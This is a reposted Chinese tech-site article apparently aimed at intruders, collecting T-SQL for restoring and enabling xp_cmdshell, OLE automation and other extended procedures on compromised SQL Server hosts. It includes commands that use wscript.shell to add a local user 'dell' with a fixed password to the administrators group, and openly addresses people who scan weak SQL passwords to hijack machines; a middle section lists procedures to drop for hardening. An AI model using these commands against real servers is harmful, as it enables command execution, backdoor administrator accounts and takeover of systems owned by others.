≡
  • 网络编程
  • 数据库
  • CMS技巧
  • 软件编程
  • PHP笔记
  • JavaScript
  • MySQL
位置:首页 > 数据库 > SQL Server

SQL SERVER SQL入侵恢复xp_cmdshell方法总结

人气:598 时间:2019-05-11

这篇文章主要为大家详细介绍了SQL SERVER SQL入侵恢复xp_cmdshell方法总结,具有一定的参考价值,可以用来参考一下。

感兴趣的小伙伴,下面一起跟随四海网的小编两巴掌来看看吧!

1433 SQL入侵恢复xp_cmdshell方法总结
sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

SQL2005开启'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

SQL2005开启'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

突破SA的各种困难
常见情况恢复执行xp_cmdshell
1 未能找到存储过程'master..xpcmdshell'.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'

xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'

--------------
xp_cmdshell新的恢复办法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

这样可以直接恢复,不用去管sp_addextendedproc是不是存在
-----------------------------
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'

恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

开启cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

堵上cmdshell的sql语句
sp_dropextendedproc "xp_cmdshell
----------------
删除sql危险存储:

代码如下:

 
DROP PROCEDURE sp_makewebtask 
exec master..sp_dropextendedproc xp_cmdshell 
exec master..sp_dropextendedproc xp_dirtree 
exec master..sp_dropextendedproc xp_fileexist 
exec master..sp_dropextendedproc xp_terminate_process 
exec master..sp_dropextendedproc sp_oamethod 
exec master..sp_dropextendedproc sp_oacreate 
exec master..sp_dropextendedproc xp_regaddmultistring 
exec master..sp_dropextendedproc xp_regdeletekey 
exec master..sp_dropextendedproc xp_regdeletevalue 
exec master..sp_dropextendedproc xp_regenumkeys 
exec master..sp_dropextendedproc xp_regenumvalues 
exec master..sp_dropextendedproc sp_add_job 
exec master..sp_dropextendedproc sp_addtask 
exec master..sp_dropextendedproc xp_regread 
exec master..sp_dropextendedproc xp_regwrite 
exec master..sp_dropextendedproc xp_readwebtask 
exec master..sp_dropextendedproc xp_makewebtask 
exec master..sp_dropextendedproc xp_regremovemultistring 
exec master..sp_dropextendedproc sp_OACreate 
DROP PROCEDURE sp_addextendedproc 

/*不狐 附上恢复扩展存储过程的办法

先恢复sp_addextendedproc,语句如下:
SQL代码:

代码如下:

 
create procedure sp_addextendedproc --- 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as 
set implicit_transactions off 
if @@trancount > 0 
begin 
raiserror(15002,-1,-1,'sp_addextendedproc') 
return (1) 
end 
dbcc addextendedproc( @functname, @dllname) 
return (0) -- sp_addextendedproc 
GO 

再恢复以上所有扩展存储过程
SQL代码:

代码如下:

 
use master 
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' 
exec sp_addextendedproc xp_dirtree,'xpstar.dll' 
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 
exec sp_addextendedproc sp_OACreate,'odsole70.dll' 
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 
exec sp_addextendedproc sp_OAStop,'odsole70.dll' 
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 
exec sp_addextendedproc xp_regread,'xpstar.dll' 
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 
exec sp_addextendedproc xp_regwrite,'xpstar.dll' 
exec sp_addextendedproc xp_availablemedia,'xpstar.dll' 

SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 !
接下来我们用SQL语句搞定他
分析器执行的语句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE

本文来自:http://www.q1010.com/179/7346-0.html

注:关于SQL SERVER SQL入侵恢复xp_cmdshell方法总结的内容就先介绍到这里,更多相关文章的可以留意四海网的其他信息。

关键词:SQL SERVER

您可能感兴趣的文章

  • SQLserver查询数据类型为ntext是空或NULL值的方法
  • SQLServer的备份和灾难恢复
  • Sqlserver2000 数据库备份实例代码
  • ASP.NET下向SQLServer2008导入文件实例操作方法
  • 用sql脚本创建sqlserver数据库范例语句
  • 用sql脚本创建sqlserver数据库触发器范例语句
  • sqlserver 模糊查询常用方法
  • sqlserver中distinct的用法(不重复的记录)
  • sqlserver中Case的使用方法(上下篇)第1/2页
  • SQLSERVER 表分区操作和设计方法
上一篇:SQL SERVER 聚集索引和非聚集索引实例
下一篇:SQL SERVER数据库危险扩展删除和恢复代码
热门文章
  • SQL Server SQL获取第一条记录的方法
  • SQL Server出现System.OutOfMemoryException异常的解决方法
  • SQL Server的 update from 语句的简单示例
  • SQL Server 数据库备份方法菜鸟教程
  • SQL Server 多表关联时在where语句中慎用trim()方法
  • SQL Server数据类型及长度限制详细说明
  • mybaits非配置原因,导致SqlSession was not registered for synchronization异常解析
  • SQL Server 收缩后对数据库的使用有影响吗?
  • SQL Server 格式导致的Excel导入sql出现异常的解决方法
  • SQL Server 连接服务器出现错误 7391的解决方法
  • 最新文章
    • SQL Server存储过程基本语法的简单示例
    • sql查询时增加自动编号和分页的简单示例
    • sql轻松应付百万数据的高效数据分页存储过程的简单示例
    • sql获取一条数据中所有字段的名称和值的实现方法
    • sql分割函数的简单示例
    • SQL Server异常捕获的简单示例
    • SQL SERVER回滚恢复误操作数据的实现方法
    • SQL Server函数或存储过程中抛出异常的实现方法
    • SQL Server创建数据库的完整代码
    • SQL Server创建数据库的命令用法示例

四海网收集整理一些常用的php代码,JS代码,数据库mysql等技术文章。